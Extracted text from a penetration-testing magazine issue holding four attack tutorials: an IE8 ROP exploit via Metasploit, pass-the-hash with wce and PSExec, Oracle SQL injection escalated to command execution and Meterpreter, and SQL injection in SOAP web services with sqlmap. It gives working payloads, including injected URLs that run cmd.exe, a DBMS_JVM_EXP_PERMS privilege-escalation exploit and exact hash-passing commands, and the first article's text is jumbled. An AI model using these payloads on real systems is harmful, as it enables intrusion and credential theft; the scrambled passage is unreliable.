system.ROP finds small fragments of code in already loaded or executable memory which can be merged together so that it can be malicious and clumsy and then it will be jumped using RETURN instruction. by which time it may unexpectedly have been altered and exploited.dll. With that in mind. 1. Exploitation commands on Metasploit Let’s see that as well Windows 7 with IE 8 has been selected and used to exploit the victim.168.1.168. As you can see.1.com . Let’s set this up: Figure 1. JRE ROP Attack Executed on Target Computer OPEN 08/2013 Page 56 http://pentestmag. the reverse_ tcp payload exploit is executed: Figure 3. To check the Meterpreter session Session –l shows the list of open Meterpreter sessions and Figure 3. The Metasploit exploit code is used to attack the victim who is forced to visit the specially crafted webpage and this specially crafted webpage is nothing but Metasploit exploit code which is hosted to invite victim so that same id property deleted remote code execution vulnerability can be exploited.168. We were able to bypass and exploit this vulnerability using return oriented programming.3 which is our victim (Windows 7 and internet explorer 8). As you can see.3) visited the web page and the exploit code executed after which memory corruption occurs and a Meterpreter session is opened with the same user privileges as the currently logged-on user.step to launch the return oriented programming attack and exploit the memory corruption without code injection. /msfconsole Use exploit/windows/browser/ms12_037_same_id [/*this command loads an exploit which would be able to exploit the Internet Explorer memory corruption vulnerability of same id deleted property/*] Step 1 Start the exploit using the ms12_037_same_id exploit included in the Metasploit exploitation framework in BackTrack 5 R3: Assume that the attacker’s machine running backtrack-5 r3 is a host with an IP address of 192.1. We will use the following commands to load the exploit module: cd /Pentest/exploits/framework . Figure 2. When a victim visits the exploited web page.168. so that it will be listening when the victim is forcefully connected.3 and default gateway as 192.1.168. the client/ victim (192. the exploit server is running and waiting for victim to visit the exploited webpage: PAYLOAD: windows/meterpreter/reverse_tcp is used to open a Meterpreter session. ASLR (Address space layout randomization) and DEP (Data execution prevention) will be bypassed and memory corruption occurs when the same element that was actually deleted is called. As you can see. The exploit is executed by using EXPLOIT command.1. The exploit has been launched and SRVHOST is set as 192.1. Above three commands set up backtrack host as 192. when the exploit code is initiated it begins downloading before it is executed. At present Praveen is working as an Information Security Auditor at Aneja Associates. Cisco Routers. it detects and indicates to user that memory corruption vulnerability is found and restricts to exploit the memory corruption. it can be explained using this snapshot: Figure 4. • Windows firewall should be turned on. Once the Meterpreter session is opened. we can gain system-level privileges and obtain a complete shell. The above snapshot illustrates that DEP. The author is an RHCE. Countermeasures: • Microsoft internet explorer 8 should be upgraded and updated. having 2 years of experience in this field. CCNA certified professional along with having a rich experience in vulnerability assessment. OPEN 08/2013 We would like to be able to provide a list of countermeasures but it does not work appropriately when a new vulnerability is exploited and dozens of systems get infected. • And finally last but not the least EMET (Enhanced mitigation experience toolkit) has been launched by Microsoft to protect from Stack overwrite/Structure exception handling vulnerability and a particular application can be checked for violation of DEP(data execution prevention) and ASLR (Address space lay-out randomization) and whenever a memory corruption vulnerability is found in an application.com PRaveeN PaRihaR Page 57 . http://pentestmag. ASLR and SEHOP (Structure exception handler overwrite protection) have been enabled which restricts memory corruption vulnerabilities in an application and along with that a new executable (application) can also be imported to detect DEP/ ASLR/SEHO vulnerabilities.Figure 4. SonicWALL firewalls. and so on… Just keep reading Pentest Magazine… Praveen Parihar is an information security enthusiast. CEH. • Antivirus signatures should be updated • ActiveX content should be restricted. EMET (Enhanced mitigation experience toolkit) we can get into the Meterpreter session using Session –l 1 where 1 is the Meterpreter session number. There are lots of devicerelated vulnerabilities which we would be exploiting in the future such as: Cisco ASAs. Mumbai (India). This vulnerability. processes. This article is aimed at demonstrating how easy it is to dump user account hashes. Most organizations I have noticed do not take all the necessary steps to protect their internal assets properly. and use those account details to gain unauthorized access to secure areas of your network using a variety of techniques and protocols. being first discovered by Paul Ashton [1] in 1997. John the Ripper [3]. he technique is used after the attacker has gained access to your environment. gaining deep access into your computing infrastructure to oppose password cracking. etc. The hackers of today are more likely to utilize this attack methodology to penetrate your internal defenses. Basic Windows Authentication Methodology http://pentestmag. Article comes from Pen Test EXTRA. special attention to the risk should be raised with regards to protecting yourself against malicious insiders or rouge employees. This article will only focus on a sample of tool sets aimed at providing Figure 1. With the right amount of knowledge. especially mitigation of the total risk is not completely understood or implemented in many of today’s corporate networks. This vulnerability is present in every corporate computing environment. insiders could exploit this vulnerability within your environment. large and small so you need to take the necessary steps to reduce the risk and exposure. usually only relying on Antivirus software as the only defense against the attack. The attack itself is simple.Pass-The-Hash Attacks Pass-The-Hash (PTH) is a post exploitation attack technique that is used to obtain user account hashes from either client workstations or domain servers and then use this information to elevate privileges and/or create new authenticated sessions.com Page 58 . and enough time. Using only a single protection mechanism against to combat OPEN 08/2013 T any risk in your environment is extremely dangerous and is setting your infrastructure. take the user account hash information from a local disk and utilize it to create newly authenticated session across the network targeting servers and workstations without ever knowing a user’s password. lax security controls and/or configurations from system administrators. Pass-the-hash attacks have been widely known about in the security community for approximately 15 years. Download the complete issue. This saves the attacker precious time from using a password cracking utilities like Cain and Abel [2]. and people up for failure. THC Hydra [4]. users often create weak passwords and/or reuse passwords from multiple accounts. the time necessary to perform these types of attacks often consume a large amount of time or the results do not warrant accurate passwords [7]. Figure 2. currently the founder of Amplia Security [5] and Metasploit Framework created by HD Moore in 2003 as a portable network tool for penetration testers [6]. Using these tools alone you will learn how to obtain the user account hashes from memory and disk and utilize those spawning new authenticated sessions and navigating hidden operating system administrative file shares on remote machines. as well as some mitigation guidelines to safeguard your user accounts. This starts the authentication process (see Figure 1). Because of this widespread use. Instead this password is hashed and set aside. time consuming or cost prohibited. Unfortunately. when an attacker obtained a list of password hashes from a remote server they would usually perform a dictionary attack followed by a brute-force attempt against this list. Advancement in password attacks like rainbow tables and distributed cracking have all been found useful. After reading this article you should have an understanding of the attack methodology allowing you to test your environment determining your risk level. This is by no means an exhaustive list of attack possibilities or the only way to complete the attacks using the aforementioned tools. These tools together are perfect for carrying out PassThe-Hash attacks within a corporate network without the proper safeguards in place. Two tools I will demonstrate this attack with include Windows Credentials Editor (wce) created by Hernan Ochoa. but too have been found unreliable. To appreciate this attack you need to understand the authentication methodology of your targets. the article with conclude with some mitigation guidelines that can be implemented within your corporate environment limiting your exposure to this risk. each time a user authenticates to a domain the password is never sent in clear text to the authentication domain server. In a Microsoft Windows environment. This known practice makes them a widely chosen target for attackers. and a log-on authentication request is sent to the domain controller with the username provided from the workstation [8].enough guidance for the reader to understand the concept and examine their own environment. Finally. The ultimate goal is to make the attack difficult to execute as no defenses exists today to deter the attacks from occurring. This brings us to Pass-The-Hash attacks. How NTLM Based Authentication Communicates OPEN 08/2013 Page 59 http://pentestmag. Traditionally.com . Passwords are widely used today as the de facto authentication mechanism for everything. They are used to protect different data sets both online and offline. change. • Download or view the user hashes. 'pth-test' and 'administrator'. Each time you establish a log-on session to a remote server this information is left into memory until your session is closed. Account types that are kept in memory until closed include. Using this method allow you to utilize your domain account on your computer even if the domain is offline or unavailable.exe utilizing account hashes http://pentestmag. For the second part of this attack effort (obtaining system hashes). wce specifically allows you to list Windows log-on sessions and add. If at any point during this transmission errors are received or the hashes aren’t matched the user receives and error and the log-on process is forced to restart [9]. we can spawn a new process using wce. OPEN 08/2013 Figure 4. to execute a pass-the-hash attack using the output from above. Windows stores user account passwords in the Security Accounts Manager database (SAM) or in Active Directory [10] depending of if you are using a domain. Service accounts. but also stored in memory. Runas Accounts. LM/NT hashes. In its simplest form. wce can be executed without any options to display all logon sessions and NTLM credentials discovered to the screen (see Figure 3). Active Accounts (currently logged on). it creates its own hash and compares the results. wce running with no command options The Attack To successfully carry out this attack you need to perform three distinct steps: • Obtain access to the destination (attacking) workstation/server. The command we will use to accomplish this task is: This poses serious risk to privileged accounts if your server is compromised as attackers could be sitting around watching accounts become active and stealing the hash information from memory to leverage additional attacks within your infrastructure. creates a response and encrypting the contents (challenge data) with its hash password. If a match occurs after comparing the hashes. Instead the computer creates a new hash of your typed password and compares this against a locally stored hash.The domain server after receiving the authentication request creates and sends a log-on challenge to the workstation making an authentication request. numerous ways exists to penetration endpoint devices and are outside of the scope of this paper. We are assuming you already have this task accomplished. wce launching cmd. but not limited to: • • • • RDP Session (Remote Desktop Sessions). the above steps are skipped. If everything matches the authentication session is established (see Figure 2). • Use these hashes to create authenticated sessions to remote servers. Once you download the application and extract the contents to your computer. It is important to note that authentication accounts are not only located in either the SAM database or Active Directory. the authentication request is granted. Once the authentication data is received at the domain. The hardest part of this attack is obtaining access to the destination workstation/server. I am going to focus my efforts on utilizing Windows Credentials Editor (wce) [5]. Please Note: Unfortunately for this tool to be successful you will need to be a local administrator on the local machine or a domain admin. list and delete associated credentials (for example. Kerberos tickets and clear text passwords). Figure 3. If your authentication domain isn’t available during the logon process. It is also a small self contained executable. if not you are asked to retype your password. The client computer receives the request. As we see above the system has two accounts.com Page 60 . Preparing our Metasploit Framework (MSF) Environment Figure 6. You will be limited to the permissions from the account used to Pass-The-Hash. Metasploit PSExec SMB Pass-The-Hash Attack Results Page 61 http://pentestmag. If all works well you will have a reserve shell on your screen with a 'meterpreter>' prompt (see Figure 7). This prompt represents a remote shell connection to the remote computer. Metasploit Framework (MSF) PSEexec SMB Variables OPEN 08/2013 Figure 7. we will instruct Metasploit to load the PSExec module. The Metasploit Framework (MSF) is an open-source framework providing the security community with various security tools and exploit development platform for penetration testers. we can start attempting authenticating to remote systems using various tools available as we have user account hashes. probing services. This module will allow us to launch an SMB connection to the remote host using account hashes received from earlier using wce. • SMBUser. This framework is freely available and integrated into one of the most popular penetration Live CD’s available. Mitigation It is important to emphasize that steps can be taken to limit the risk from this vulnerability. Your current working directory will be 'C:\Windows\Systems32'. At a minimum we will need to set the following: • Destination IP Address (RHOST). and a reverse_tcp payload for carrying out your attacks (see Figure 5). Simple change to any directory you wish. many modules exist for delivering exploits. Within the framework (MSF).com . For starters Figure 5. From the hash dump previous. • SMBPassword (Enter the hash in its entirety). Many tools exists to facilitate passing hashes. • Source IP Address (LHOST). Once all the options are set we are ready to launch the exploit by typing 'exploit' and hitting enter. scanning hosts and making remote connections. With this information obtained. Once you have your framework loaded.exe' (see Figure 4). one I am familiar with and will demonstrate is the Metasploit Framework (MSF) [6]. provide the following information to complete configuring the necessary variables: • SMBDomain.'c:\Users\pth-test\Desktop\wce_v1_3beta~>wce -s adminstrator:pth-test-PC:0000000000000000000000000 0000000:538C8C0909A8F53EE4048C00B97D3A46 -c cmd. After the module is loaded we will need to setup some variables for our attack to have the ability to execute (see Figure 6). The one we will focus on today is the PSExec. BackTrack [11]. http://etutorials. and other missing security controls are present).it/cain.backtrack-linux. References [1] NT „Pass the Hash” with Modified SMB Client Vulnerability – BID233.org/ Penetration Testing and Security Auditing Linux Distribution.corporations should be using a popular antivirus solution as this would be your first protective layer. Additionally. http://computer-forensics. Conclusion As you can see this type of attack is easily executable within your corporate environment (assuming your users are local administrators. For specific information on the author please visit LinkedIn http://www. The privileges allowed should be only enough for them to complete day-to-day work. At the end of the day the goal is to reduce the risk as no current method or protection mechanism exists to remove the vulnerability completely. Figure 8.com/kb/102716 [11] Backtrack – www.html [3] John the Ripper – Password cracker. http://www. http://ampliasecurity. • Proper Network Segmentation.org/Server+Administration/ securing+windows+server+2003/Chapter+7. has more than 15 years of proven experience participating in a broad range of corporate initiatives including architecting.org/blog/2012/09/18/protecting[9] etutorials.securityfocus.openwall. linkedin.com/ [7] SANS Reading Room Why Crack When You Can Pass The Hash? [8] Sans Computer Forensics Blog – privileged-domain-accounts-network-authentication-in-depth. Most of the antivirus companies have a signature to detect the Windows Credential Editor (wce) tool from being installed or executing (see Figure 8). organizations should also practice least-privilege user logins for standard users. In his most current role he serves alongside a team of engineers responsible for the security of a large global organization.microsoft. Other Materials I’ve created a lab for testing the tools in this article.com/ [6] Metasploit Framework – Penetration testing framework. and supporting information-security solutions in direct support of business objectives. it is a receipt for disaster. • Activate/Configure Firewalls (Hardware and Software).metasploit. outside of the technical controls listed above.thc. Other technical controls that should be implemented within your environment include but not limited to: • Avoid using LM & NTLM – MSKB239869. http://www.org/thc-hydra/ [5] Windows Credential Editor – Amplia Security. http://www. Taking into consideration the mitigation steps mentioned earlier will result in reducing the risk to this vulnerability. With users attempting to gain more permission than they should and with liberal access to the internet.org – In Depth Review of NTLM Authentication. Finally organizations should implement and enforce a strong password reuse policy.1+LAN+Manager+and+NTLM/ [10] Microsoft Windows NTLM User Authentication – http://support. http://www. implementing. The operating system is a default load and contains the following software: Windows7 Enterprise workstation [12] (Wce and Fgdump) Other items you will need is BackTrack which has the Metasploit Framwork (MSF) installed by default.com/ bid/233/info [2] Cain and Abel – Password recovery tool for Windows.+Authent ication/7.com/john/ [4] THC Hydra – A fast network logon cracker supporting many services. Page 62 ChRisTopheR AshbY http://pentestmag.sans. one standard) and management / jump servers should be utilized. http://www. If your users are in a capacity to provide engineering or admin type work to the infrastructure or services.com/in/ashbyc or @ashby on twitter.com . • Limit login credentials cache – MSKB299656. Principle IT Security Analyst at GLOBALFOUNDRIES.oxid. Virus Total Analysis of wce OPEN 08/2013 Christopher Ashby. then dual log-ons (one admin. . We have discovered an SQL Injection in a ASP webapp that lets us inject SQL code into an Oracle Database. SQL Injection can be exploited in order to get all the information stored in a database. Of course. security weaknesses always exists and today we are going to talk about how can we exploit some vulnerabilities. it is the #1 vulnerability on the famous OWASP Top 10. However. We have found two different vulnerable points: “oracle. We are lucky since the webapp shows errors. to achieve remote code execution is becoming harder since most databases have been improved in the last few years. As you probably know. Discovering. Databases are complex systems and can be configured wrong or be outdated. but that is not all we can do with this kind of vulnerability. I n this article.From SQLi in Oracle to Remote Execution SQL Injection is one of the most common vulnerabilities you can find in webapps. fingerprinting and getting data in different ways are topics that are well documented on the Internet and even implemented in lots of both commercial and free tools (Figure 1).com . SQL Injection found Page 64 http://pentestmag. In fact. in order to avoid an easy exploitation. Introduction: Sql Injection Injection attacks are for sure a well-known topic for all readers. Injection concept OPEN 08/2013 Figure 2. asp” uses the user supplied parameter “id” in order Figure 1. Let me to introduce our target scenario. we are going to talk about one possible target scenario: an SQL Injection that allows us to execute SQL statements on an Oracle 11g database in order to exploit its vulnerabilities and achieve a complete system pwning. Download the complete issue. Article comes from Pen Test EXTRA. SQLMap fingerprinting Figure 4. It means that this function is going to always be executed with the creator’s privileges. It is called fingerprinting. we should look for known vulnerabilities in this version and architecture. There is stuff that works on an Oracle Database but not on an MS-SQL one. in the same way the suid bit in a UNIX system works.com/oracle.exe and create a new file dbms_java. Running SQLMap to test “id” parameter and get the database banner if possible $ cd /opt/sqlmap $ . It manages its own credentials. and even can apply or not depending on the operating system (Windows. This feature is really interesting for exploitation. Figure 3. Each of these functions has its own security settings that are really important to understand when talking about exploitation. it has some built-in functions and procedures that are used in order to perform different tasks. Wrapper. since functions and procedures configured as “AUTHID DEFINER”.asp?id=1" -p id --banner Listing 2. As any other system does.asp” is exactly the same code. but probably the easiest and fastest option is to use a wellknown tool such as SQLMap. The clause “AUTHID CURRENT_USER” has to be defined in order to change this behaviour so the function is executed with the caller’s privileges. other tools can be used as well: Figure 3 and Listing 1. but it would often be as a security research itself. As you probably know.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd. Of course. We are going to focus on the most common scope. Focusing on Our Target One of the first steps in database exploitation is to get as much information about it as we can. Using Wrapper in order to execute cmd. but keep in mind that custom ones (created by the dba) could also be used.) that hosts the database system. permissions and security. not as a part of a Penetration Testing project.vulnerable.class Listing 1. that is to detect already known vulnerabilities.py -u "http://www.com . An Oracle Database is just like a whole operating system. in sites such as Secunia./sqlmap. SecurityFocus or Exploit-DB. Oracle Permissions and Functions A concept we should know about Oracle Database security is how functions and permissions work. You could try to find new vulnerabilities as well. There are lots of resources in the Internet that talk about how to fingerprint a database. etc. there are some differences in the SQL language of different database systems. the “AUTHID DEFINER” clause is defined when a new function or procedure is created (and for built-in ones as well). Of course. Testing some ‘special’ commands can tell us which database are we dealing with. vulnerabilities are often specific to certain versions. The user needs to have enough privileges for it. By default. In this article. we are going to exploit some built-in features. As a second step. can be used to elevate privileges if we can find a vulnerability in them.txt') OPEN 08/2013 Page 65 http://pentestmag. Solaris. but the database user has dba and some other privileges (Figure 2). whose owner is a high privileged one.to get the user’s first name and “dbaoracle.exe /c echo PWNED > c:\\\\pwned. so our main target is going to be public functions or procedures that would be executed as a privileged user. An important point is that not every user can execute every function. RUNJAVA() and this is not a common permission so we should elevate privileges first if necessary. One of them is CVE2010-0866. Great! We have achieved command execution. it is more complex to achieve command execution. This is a really interesting class since it allows executing commands in the operating system. we could exploit it in order to execute any local binary or to create new files: Listing 2. In an Oracle Database.txt') FROM DUAL) IS NOT NULL -- Listing 4. CURSOR C1 IS SELECT 'GRANT'. Exploiting Wrapper Listing 3.runjava('oracle/aurora/util/ Wrapper c:\\\\windows\\\\system32\\\\cmd. For example.'<<ALL FILES>>'.asp?id=1 AND (SELECT dbms_java.FilePermission in order to call DBMS_JAVA. DBMS_JVM_EXP_PERMS. CLOSE C1. Privilege Elevation Depending on which exact version and patch level are we testing against.RUNJAVA() function that lets us execute java classes located in the system. FETCH C1 BULK COLLECT INTO POL.'SYS'.exe /c echo PWNED > c:\\\\pwned. One of the most widely used techniques is to use the DBMS_JAVA.class. since Wrapper allows command execution as a feature (Figure 4). but it is not impossible. In the case of an Oracle Database.io. where there is a specific function called “xp_cmdshell” that lets us execute commands in the operating system. / OPEN 08/2013 Page 66 http://pentestmag. END. File created http://www.io. but we need java.vulnerable. Exploit code for granting java. Code Execution This statement can be put into a simple query. Due to a flaw Figure 5.'java. Figure 5 and 6. They are quite complex and have a large number of built-in features. discovered by David Litchfield. into a SQL Injection Figure 6.com .'user1'. BEGIN OPEN C1. One of the java classes that we can find in the same Oracle installation is oracle/aurora/util/Wrapper.IMPORT_JVM_PERMS(POL).TEMP_JAVA_POLICY. even having the proper privileges. as follows: Listing 3. We don’t need to exploit any weakness on any available class. we are going to try to exploit different vulnerabilities.io.'ENABLED' FROM DUAL. one of the greatest Oracle security experts.com/dbaoracle.Modern database systems are not just simple data storage with a few index tables.FilePermission'.FilePermission DECLARE POL DBMS_JVM_EXP_PERMS.'execute'. code execution is not as trivial as in other systems such as the MS-SQL Server. The exploit above used. FilePermission Listing 5. Sumit Siddharth talked about (in his own words) “functions which change everything.com/oracle. not just SQL access so… how could we execute PL/ SQL statements though SQL Injection? Executing Pl/Sql Statements PL/SQL language is far different than SQL. that allow to any user to execute PL/SQL statements (Listing 5.FilePermission''''''''. I have found some problems doing it. TEMP_JAVA_POLICY.''''''''<<ALL FILES>>''''''''.CLOSE C1.in the DBMS_JVM_EXP_PERMS package that allows any user to grant java.DBMS_JVM_EXP_PERMS.CURSOR C1 IS SELECT ''''''''GRANT''''''''. so we can’t exploit vulnerabilities that require PL/SQL access. or perhaps a more evil action.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION. FETCH C1 BULK COLLECT INTO POL.asp?id=1 and dbms_xmlquery. we have granted java.commit.7 or less. In the last OWASP AppSec DC (2012) conference. It is more similar to other procedural languages that we are used to handling. Although Siddharth talks about exploiting it in a single step.0.2.BEGIN OPEN C1.END. commit.io. so we can use the above technique in order to create a file. These functions are defined with the “AUTHID CURRENT_USER” clause.newcontext('declare PRAGMA AUTONOMOUS_ TRANSACTION.io. The main problem is that PL/SQL is not available when executing queries through webapps. In order to avoid this. Grantting java. loops and so on. begin execute immediate ''any pl/sql statement ''.') is not null -- OPEN 08/2013 Page 67 http://pentestmag. commit. it is necessary to create a new function called “givemethepower” that executes the exploit and use it in the next request: Listing 7 and Figure 8. Creating a function givemethepower() that contains the above privilege elevation exploit http://www.FilePermissions: Listing 6. with variables.''''''''execute''''''''. io. end.io. but we can exploit some vulnerable functions that are only available through PL/SQL.” He was talking about a couple of functions in the DBMS_XMLQUERY package: newcontext() and getxml().''''''''ENAB LED'''''''' from dual.return 1. Figure 7.''''.io. so we can’t execute high privileged PL/SQL code. such as the one we have just talked about in order to grant java.''''''''j ava.vulnerable. end. Sample code for executing PL/SQL statements Figure 8.). This vulnerability exists in Oracle Database versions 11.''.end. Now. begin execute immediate ''create or replace function givemethepower return number is PRAGMA AUTONOMOUS_TRANSACTION. We could think about SQL in Oracle as a subset of PL/SQL.') FROM DUAL Listing 6.com .USER(). begin execute immediate ''''DECLARE POL DBMS_JVM_EXP_PERMS.1 or less.0.FilePermission privileges. ''''''''SYS''''''''. IMPORT_JVM_PERMS(POL). Exploit using xmlquery SELECT dbms_xmlquery.FilePermission by itself Listing 4 and Figure 7. and in 11. but it has to be exploited though a PL/SQL access.1. com/wp-content/uploads/2011/05/Hacking_Oracle_From_Web_2. However. and for attackers as well. it can still be used in order to pivot to others.com/advisories/product/18050/?task=advisories http://www.7safe.com/oracle. Figure 9.7safe.102/b14187/appendixa. Conclusion SQL Injection can do more than just get the information stored in your databases.asp?id=1 AND (SELECT dbms_java. He is also is preparing a PhD project in computer science as well. he has been focusing mainly on penetration testing and incident handling.asp?id=1 and givemethepower()=1 Listing 8.com/HackingAurora.wiley.Putting it all Together Of course. He is also a SANS Institute Community Instructor.com/folder2/2011/10/28/hacking-oracle-from-web-part-2/ https://www.exploit-db. Uploading files to a compromised system is an article all by itself.metasploit. Jose has a Bachelor and Master Degree in Computer Science and a Bachelor Degree in Telecommunications.com/modules/auxiliary/sqli/oracle/ http://pentestmonkey.vulnerable.corporate.databasesecurity.wooyun.html http://www. we can use command execution in order to upload a new binary to the system.org/images/6/68/ASDC12-New_and_Improved_Hacking_Oracle_From_Web.owasp. Focusing on Oracle. Even if the system is not a really important one. Jose Selvi Listing 7.org/tips/57 http://www.pentester. but it is useless in a pentest.exe /c c:\\\\meter.com/cd/B19306_01/java.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet http://docs.corporate.txt” is a great ending for a demo.com/wp-content/uploads/2011/10/hacking-Oracle-from-web-part2-2.com .com/oracle.runjava('oracle/aurora/util/Wrapper c:\\\\windows\\\\system32\\\\cmd. an attacker can exploit different security flaws in your database system (Oracle or any other) in order to gain remote code execution.com/ http://secunia. in order to grant privileges using the exploit http://www.es. and then execute it as follows: Listing 8 and Figure 9.htm OPEN 08/2013 Page 68 http://pentestmag.pdf http://www. Sometimes. so let me leave that for a postexploitation magazine topic. creating a file called “pwned. and writes on a spanish security blog http://www. To apply hardening guides and the least privilege concept is always great advice. Executing a previous uploaded Meterpreter binary http://www.pdf http://drops.vulnerable.pdf http://www.com/WileyCDA/WileyTitle/productCd-0470080221.oracle. In the past 9 years.exe') FROM DUAL) IS NOT NULL -- References • • • • • • • • • • • • http://eu. database administrators should patch and configure carefully all the privileges settings. It would make life harder for pentesters.pdf http://www. Calling the exploit function. an important security company in Spain.notsosecure. A pwned Oracle via Meterpreter Jose Selvi works as a Penetration Tester and Security Researcher at S21sec. Application Security for JavaEE that just works! Start nding and xing vulnerabilities for free NOW! www.com .contrastsecurity. the application under review is marked as "safe". the traffic produced between the attacking machines and the target application is monitored and logged for assurance purposes. In this case. where the automated vulnerability scanner tools failed to detect the SQL injection vulnerability residing inside the SOAP web services code. think that SQL injection vulnerabilities affects only web applications. Usually during a penetration test. Most of the time. In this kind of test monitoring the network traffic is also essential to understand how the application manages the underlying connection to the "data source". The testing scenario is represented in Figure 1. invoked by an MDI Windows application. we needed two different boxes: the first configured with the MDI application and the second with the tools we needed to perform the job. So. Download the complete issue. In this article. After setting up the environment. SOAP Web Services are designed to integrate together remote "trusted" systems. A snippet of the SOAP communication is reported in Figure 2. and often the penetration tester acts like a fool relying only on the automated scanning tools output to detect SQL Injection: if no alert is thrown by the scanner. As there was no encryption over the transport layer we could easily discover that the application was relying on SOAP WEB Services to expose data to the end-user. for example. we started running the application while collecting traffic on the MDI interface for a few minutes. So if the vulnerable application. the SQL Injection vulnerabilities are not considered at all. Application Behavior Analysis To start this kind of security analysis. Things get worse if the application under review is not the classical Web Application: many "Security Professionals". http://pentestmag. so in this case the first box was also equipped with Wireshark to accomplish the monitoring tasks. Since 2001.com Page 70 . the security controls are poorly or not implemented. we start describing the vulnerability exploitation OPEN 08/2013 T phases starting from the detection to the database data acquisition using the commonly available tools. As the wise say: a fool with a tool is still a fool. Particularly. is Windows MDI based and the back end integration is done through SOAP Web Services. the penetration test goal was to simulate an attack coming from the internal network. and an attacker can easily bypass the application logic in order to the access the data base.How to Detect SQL Injection Vulnerabilities in SOAP? SQL Injections are a well known topic in web application security (at least since 2001). at least here in Italy. researchers all around the world have published techniques and tools to detect and exploit them. and pentesters often look for them only inside the web application GET/POST requests. ons of articles have been written about the SQL injection vulnerability. the first step is setting up the right environment. we will talk about a real world example. Article comes from Pen Test EXTRA. To do that. why another article about that? Because not all the SQL injections are so obvious. During the automated scan we observed that the tool was sending many attack payloads for every variable in SOAP requests. At that point. The tool we used (a commercial one) is supposed to be one of "the most advanced" web application scanner on the market that performs exhaustive tests also on Web Services based on SOAP technology. we had all the entry points to start the actual security analysis.Taking advantage of the information retrieved analyzing the capture data.com . Unfortunately. we mapped all the non authenticated accessible features via the GUI. Automated Scan Analysis Figure 1. After having understood the application basic is communication pattern. A snippet of the SOAP communication Figure 3. no vulnerability was Figure 2. The collected data together with a bunch of GET requests. The output given by one of the SOAP requests OPEN 08/2013 Page 71 http://pentestmag. if not overridden by the programmer (as in our case). gave us all the SOAP WSDL for the whole web service. A testing scenario of simulated attack coming from internal network The activity starts with an automatic scanning tool. In other words. tells the WSDL specification for the accessed services. accessing the WEB services URL with the GET method and the parameter "WSDL" in the request.NET technology thus. we were able to identify the URL where the WSDLs were stored on the web server: the MDI application's backend was based on Microsoft's . and the "most advanced" web application scanner on the market didn't find any meaningful response for our purposes. while logging the traffic. we were not lucky enough. MSIE 7.WSPServer/XXXXXXXXXXXXXXXXXXXXXXXXXXXX" Content-Length: 616 Referer: http://XXXXXXXXXXXXXXXXXXXXXXXXXXXX:82/service1. Discovery of the SQL Injection Vulnerability We focused on the Windows MDI based application backend because in our testing scenario. Microsoft IIS 7. and mark the application as secure. we decided to try again.. looking for some specific class of vulnerabilities. so we decided to manually test the SOAP WEB services in a different way.30319.identified inside the SOAP Web Services and the applications were marked as "secure".xmlsoap. Just to be sure that the SOAP WEB Services was not vulnerable.org/1999/XMLSchema-instance" xmlns:m0="http://xxxxxxxxxxxxxxx" xmlns:SOAP-ENC="http://schemas.w3.WSPServer"> <SOAP-ENV:Header/> <SOAP-ENV:Body> <urn:XXXXXXXXXXXXXXXXXXXXXXXXXXXX> <urn:key>1&apos. Listing 1. We made a second attempt with the same tool with a slightly tuned configuration . it is POST /service1. OPEN 08/2013 Page 72 http://pentestmag. The SOAP request that triggered the error message With these results. it would have been logical to close the activity with an almost empty report.NET.org/soap/encoding/" xmlns:urn="XXXXXX. Trident/5.NET 4.where we increased the timeout and the number of retries in case of communication fail and after few hours.orq/soap/envelope" xmlns:soap="http://schemas.request --level 5 --risk 3 --users web server operating system: Windows Vista web application technology: ASP.w3.deflate User-Agent: Mozilla/5. Windows NT 6.0 back-end DBMS: Oracle database management system users [26]: [*] ANONYMOUS [*] APEX_PUBLIC_USER [*] APPLUSR [*] DBSNMP .xmlsoap. this time with one of the "most advanced" non commercial available web application scanner. we're not monkeys nor fools – we can't rely on an automated tools results to determine whether an application is secure or not.com . no vulnerability was identified.asmx Host: XXXXXXXXXXXXXXXXXXXXXXXXX:82 Connection: Keep-alive Accept-Encoding: gzip.1.1 Content-Type: text/xml SOAPAction: "XXXXXX.0) Accept: */* <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.0.xm1soap.0 (compatible..org/1999/XMLSchema" xmlns:xsi="http://www. The results were the same. ASP.0.org/wsdl/soap/" xmlns:xsd="http://www."</urn:key> <urn:value>1</urn:value> </urn:XXXXXXXXXXXXXXXXXXXXXXXXXXXX> </SOAP-ENV:Body> </SOAP-ENV:Envelope> Listing 2. But hey./sqlmap -r ACTIVITY.asmx HTTP/1. The sqlmap command line used to exploit the vulnerability and retrieve the users $ . we obtained the same results. he performs the security analisys on corporate networks and national critical infrastructure environment. are rarely coded with the right security approach. The tool of choice to exploit the SQL injection is SQLmap.r. and so on. scope of payloads and boundaries.linkedin. Conclusion Automated vulnerability scanner tools are not enough but are complementary to a deep manual analysis.quantumleap. It does not make sense to look for typical web application interface vulnerabilities (for example XSS or Clickjacking). SQL Injection Exploitation Exploiting a SQL injection in a SOAP web service is not different from exploiting one in a WEB application.it. Our test has been fairly aggressive so we set "level" parameter to 5 and "risk" parameter to 3. a tool can fail to detect a vulnerability. SQL/Code injection. p. cookies) but these interfaces are even more interesting for a pentester. headers. a company that offers security services to companies and organizations. http://www. He is a partner and technical director of Quantum Leap s.minniti@quantumleap. In our experience this attack type is very effective in identifying possible injections because it narrows down the injection scope to a specific data field. The intruder supports multiple attack types and multiple payloads schemes to be used during the fuzzing. In the specific case of SQL injections.quantumleap. Once the vulnerable parameter has been clearly identified. leaving the others unchanged. That's when the human factor (for example the pentester) makes the difference: it is fundamental to deepen the investigation and to go over the first results even if they are all negatives. the sniper replaces one data field at a time with the chosen payload. www. So we have to focus on application logic vulnerabilities.com/in/francescoperna. First attempt with default configuration did not provide any interesting results. they can be in several places other than web request parameters. wether OR-based SQL injection should be used and enables potentially risky queries. Due to a large number of reasons. http:// www. rather then the typical user/browser. We used it because it supports many exploitation and evasion techniques and combine them to enumerate db structure and fetch all possible data from the database. We decided to insist manually on SQL Injections using better fuzzing techniques on previouvsly identified SOAP requests. We configured the "Sniper" mode. while the "risk" parameter defines how heavy the SQL injection should be. fed with the requests identified using the "intruder" module.l. particularly the intruder module. this kind of applications entirely accessed by Windows MDI based application. For each round. an attack type that uses a single set of payloads.it. The request that triggered the error message shows the vulnerable SOAP request parameter which is the one called "key".perna@quantum leap.. Sometimes in a test. even a well known one like a SQL injection.it http://pentestmag. the next step is to choose how to enumerate the information. so we decided to go for another round setting the "level" and "risk" parameters on. As application security specialist in Quantum Leap. the less common vectors are ignored (for example SOAP. The fuzzing output has been analyzed and one of the 